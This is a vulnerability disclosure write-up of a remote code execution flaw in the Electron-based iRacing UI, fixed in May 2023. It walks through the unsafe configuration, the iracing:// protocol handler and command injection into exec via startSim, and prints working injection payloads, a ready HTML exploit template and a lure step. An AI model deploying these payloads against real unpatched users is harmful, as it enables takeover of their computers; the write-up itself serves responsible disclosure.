I’ve recently been looking into iRacing, which is an online racing simulation video game.

The UI (called iRacingUI) to launch into the actual game is built using the popular Electron framework, which means that it has the same security weaknesses as other Electron applications. Specifically, any XSS vulnerabilities can often give attackers significant control over a user’s computer (especially if the application isn’t using the latest and most secure configuration options). In this post, I’ll be discussing a vulnerability in the iRacing UI that allows remote code execution, which would allow an attacker to take over the computer of anyone running iRacing.

Am I affected?

If you have updated iRacing since 2023 Season 2 Patch 5, you’re safe. But if you have the game installed and haven’t updated it, it’s important to either update or uninstall it as soon as possible. Keep in mind this exploit is possible even if you haven’t got an active iRacing subscription, so if you were thinking about updating it later, it’s worth uninstalling it in the meanwhile.

Introduction to the UI

To understand the vulnerability, it’s helpful to know a bit about how Electron applications are structured. Unlike traditional Windows applications, Electron applications are packaged with the source code written in HTML, CSS, and JavaScript. This means that if you’re familiar with these technologies, you’ll have a good understanding of how an Electron application works.

The iRacing UI is installed in the C:\Program Files (x86)\iRacing\ui directory and contains two important files: resources\app.asar and resources\electron.asar. The former file is what we’re interested in, as it contains the code we need to analyze. The ASAR format is similar to other archive formats like ZIP or RAR and can be opened using a 7zip plugin.

Once extracted, we can take a look at the source code. I’m going to be working with Visual Studio Code, which is handy because it looks like that’s what the iRacing developers use! We can already see a .vscode folder in the extracted code.

Digging into the code

Screenshot of Visual Studio Code showing the file .vscode/launch.json open

The first interesting thing to note is the way that developer-only files have been packaged into this bundle. While not necessarily a mistake, it is unusual to see an Electron package distributed with this kind of information. Not only do we see a configuration file for Visual Studio Code, but we can also see the README file, test files, and the scripts to generate the build itself. Still, while useful for gaining context, this doesn’t have a security impact.

From here, we should start looking to understand how hardened the Electron application is. It is well known that to secure Electron, several configuration options must be set. We can check these in the index.js file. Interestingly, there are two BrowserWindows being spawned, with slightly different options for each, but we are only interested in the window that is created post-authentication.

win = new BrowserWindow({
    ...windowSettings,
    frame: false,
    transparent,
    title: "iRacing",
    minWidth: config.windowMinWidth || WINDOW.MIN_WIDTH,
    minHeight: config.windowMinHeight || WINDOW.MIN_HEIGHT,
    width: mainWindowState.width,
    height: mainWindowState.height,
    x: mainWindowState.x,
    y: mainWindowState.y,
    opacity: 0,
    webPreferences: {
        nodeIntegration: false,
        preload: path.join(__dirname, "preload.js"),
        contextIsolation: false,
    },
    show: false,
});

The most critical step in securing Electron applications is to disable the nodeIntegration option, which has been set. This means that even if a malicious website is loaded, the attacker won’t be able to execute code out of the box.

The second most important step to secure Electron is to enable the contextIsolation option. Unfortunately, this option isn’t set!

Gaining the ability to execute Javascript

Before we can take advantage of any of the weaknesses in the Electron configuration, we have to find a way to be able to execute Javascript in the context of the BrowserWindow. While the most common ways of doing this are to fuzz the iRacing platform for XSS issues, that would likely be against the law, as iRacing does not seem to have a bug bounty or security policy that would allow it. Instead, we are going to limit ourselves to exploitation that doesn’t involve sending or receiving any malicious traffic to or from the iRacing servers. As a bonus, this means that the exploitation is likely to be undetectable and unblockable by iRacing since their servers never see any of the malicious exploit.

The options for user input to the system are limited, but one of the things I noticed was that the iRacing Member website, https://members.iracing.com/, has an option to Go Racing and launch the iRacing UI.

Screenshot showing the iRacing Member website. Of not is some text indicating "Updates Required" and a large button to "Go Racing"

Another interesting thing to note is that the website can see that I have updates that haven’t been installed yet. It’s definitely interesting to see that a website can somehow tell what is installed on my computer, but we’re going to leave that for another time.

If we click to Go Racing, we are redirected to https://iracing.link/, and have a button to click to launch the UI:

Screenshot - A Windows/Chrome prompt asking "Open iRacing UI? https://iracing.link wants to open this application"

Clicking this opens the UI, as we expect, and it seems that this is the first place that user input can be sent to the client! Looking at the developer tools while clicking the link shows that it works by just navigating the browser to iracing://. This is like when you go to http://example.com, but instead of an HTTP handler (like your web browser) handling it, it is sent to the iRacing handler, in this case, the UI application. This is all managed by the underlying operating system, but it means that the iRacing UI application must have registered itself as a handler when it runs. Since we now know that it’s being registered in this way, we can head back to the code and see how it works.

The protocol handling of Electron

The code to register as a protocol handler is simple enough to find, and we can simply search the entire project for setAsDefaultProtocolClient. In the iRacing case, it can be found in index.js:

let clientProtocol = "iracing";
/* in the situation environment is set incorrectly, I don't want to set an incorrect client protocol. This stuff gets
 * put in the registry so I'm going to try to keep it clean. So check if environment is a known environment */
if (Object.values(ENVIRONMENTS).includes(environment) && environment !== ENVIRONMENTS.MEMBERS) {
	clientProtocol += "-" + environment;
}
log.debug(clientProtocol, "clientProtocol");
app.setAsDefaultProtocolClient(clientProtocol);

We can simplfy this down to something like app.setAsDefaultProtocolClient("iracing");, meaning the UI application handles any URIs that start with iracing://. Next, we need to determine if we can pass user input at all. Let’s search the source code for second-instance. It’s not going to tell us about the first instance of the application, but we always can trigger this second-instance by launching the application twice – once to load it initially, and once to trigger this second instance code path.

app.on("second-instance", (e, argv) => {
	let url = getUrlFromArgv(argv, scorps, clientProtocol);
	if (url) {
		let curUrl = new URL(win.webContents.getURL());
		let sameOrigin = url.origin === curUrl.origin;
		// if we got a url, and either it's a different origin or it has a pathname, and it's not where we already are
		if ((!sameOrigin || url.pathname.length > 1) && url.href !== curUrl.href) {
			win.loadURL(url.href);

The getUrlFromArgv code is found in utils/getUrlFromArgv.js:

module.exports = (argv, scorps, clientProtocol) => {
	let regex = new RegExp("^" + clientProtocol + "://", "i"); // regex for custom protocol
	let url = argv.find(s => s.match(regex));
	if (!url) return;
	let destination = url.replace(regex, ""); // remove the client protocol part of the arg
	return new URL(destination, scorps);
};

All the code seems to be doing is removing the client protocol and navigating the page away. This seems to mean we can navigate to any URL we control, so let’s try it. Our example URL looks like iracing://http://example.com. By typing this into a browser window, or clicking a link like this one here (try it here if you have iRacing installed and haven’t updated!), we are going to try to load that example website.

Screenshot showing the iRacing UI application has loaded example.com

It worked, we can load an arbitrary website! The next step is to figure out what kind of code we should execute.

Exploit code

Now that we can load a website we can control, we need to find out what kind of Javascript we should run. While in a browser, navigating a user to a URL we control is useless (that is what browsers are intended for, after all), in Electron, all bets are off. If nodeIntegration was turned on, we could simply execute Javascript that would run arbitrary code on targeted computer. Alas, we need to dig deeper. Since we know that contextIsolation is turned off, we can try attacking the preloaded Javascript. In brief, when the Electron process spawns the browser, it injects privileged JavaScript into that window before the page loads (hence, preload). This is a way of ensuring that the page itself can’t access any of the underlying NodeJS functionality (this is what the nodeIntegration option is for, to prevent this), but that you can still have some functions that perform privileged behaviour (like running other processes, or reading and writing files). Let’s take a look at some of the preload.js code and see if anything looks exploitable:

// interop will be accessible to the renderer process through the window object
window.interop = {
	startSim(task, onSimEnding, hideLoadingScreen = false, displayMode) {
        [...]
        // wrap the file path and params in double quotes
        let command = `"${
            config.simPath ? config.simPath : path.join(__dirname, "..", "..", "..", "iRacingSim64DX11.exe")
        }" "-ui_port=${port}"`;

        if (displayMode) {
            command = `${command} "-display_mode=${displayMode}"`;
        }

        /**
         * @todo this logic will be better when we move past the 'legacy' way of calling the sim
         * (lol anytime now [TWO YEARS LATER])
         *
         * We check if we're doing something that doesn't need EAC. Replays don't need it, local stuff doesn't
         * need it EXCEPT time attack
         */
        if (typeof task.parameters === "object") {
            var optionsString = task.parameters.commandLineOptions;
        } else {
            var optionsString = task.parameters;
        }
        if (
            !(
                task.task === "legacyPlayReplay" ||
                (optionsString.match(/local=yes/i) && !optionsString.match(/time_attack=/i))
            )
        ) {
            command += ' "-need_eac"';
        }

        if (hideLoadingScreen) ipcRenderer.send("hideSim");

        exec(command, error => {
            if (error && error.message.includes("is not recognized as an internal or external command")) {
                log.error(error);
                ipcRenderer.send("asynchronous-message", "sim ended");
                reject(error);
            }
        });

While not the only exploitable code path, this one seems to be calling exec, which executes a program, so is a great candidate to try break. Luckily, we don’t need to try very hard! It looks like user input to this function is directly concatenated to command through the displayMode variable, which is then used in the call to exec.

To test our payloads, we can host them somewhere on the internet and simply launch the iRacing UI with the relevant path manually, e.g. iracing://http://example.com/iracing-exploit.html. Let’s try it by calling the following code:

t = {'parameters': '', 'task': 'legacyPlayReplay'}
window.interop.startSim(t, null, false, 'monitor" && cmd.exe /c "echo hacked > C:/Users/ss23/Documents/hacked.txt');

After closing the simulator, our code is executed, and we have written a file to the Documents folder! This indicates our exploit is working, and we can execute arbitrary code! No magic tricks are needed, just exploiting the insecure string concatenation.

Putting it all together

While the above example proves it’s possible, we can tidy up the exploit a little by having it execute silently in the background. The trick to getting this to work is to somehow cause the first command to fail instantly, which then calls ours afterwards. We’ll be getting the program to read from a non-existent file to get it to fail instantly in our payload from now on.

The final steps to exploit the issue are:

  1. Host a malicious HTML file online, with the contents:
    <script>
    t = {'parameters': '', 'task': 'legacyPlayReplay'}
    window.interop.startSim(t, null, false, 'monitor" < foo & cmd.exe /c "Your Payload Here');
    </script>
    
  2. Trick an iRacing user into browsing to iracing://https://example.com/iracing-payload.html

There will be a prompt asking if they want to open iRacing, but beyond that, it’ll be a silent execution of your payload! Here’s a video of it being exploited, with the payload being to create a file on the Desktop. Pay attention to the Desktop icons on the left.

What does this mean for users?

This bug is almost as bad as it can get. It is simple to find, simple to exploit, almost silent to execute, can be wormed, and as far as I can tell, cannot be mitigated by iRacing on the server side. Worse still, because of the membership model of iRacing, it is impossible for anyone who doesn’t have a current subscription to update, meaning they’ll be affected by this until they manually uninstall the iRacing client from their device. On the upside, because iRacing requires members to be fully patched to play the game, the entire active user base is already patched against this.

Other exploitation areas

While this post focused on the easiest path to exploitation, the fact contextIsolation was not set means there were likely many more ways to exploit the UI prior to the fixes issued on 2023-05-10. I took the time to write some exploits that read and write arbitrary files, but these are more complicated and less impactful than the example presented here.

Disclosure

I disclosed this bug to iRacing. The (abbreviated) disclosure timeline is as follows:

  • 2023-01-23 - Initial disclosure of the issue
  • 2023-01-24 - Response indicating the issue is being investigated
  • 2023-02-12 - Follow up asking for an update
  • 2023-02-13 - Response indicating issue is still being investigated
  • 2023-02-13 - Disclosure of startSim method of exploitation
  • 2023-04-01 - Response indicating testing has begun on fixes and should be deployed imminently
  • 2023-05-07 - Response indicating update will be released 2023-05-11
  • 2023-05-09 - Response indicating update will be on 2023-05-10 instead
  • 2023-05-10 - Update release to end-users resolving issues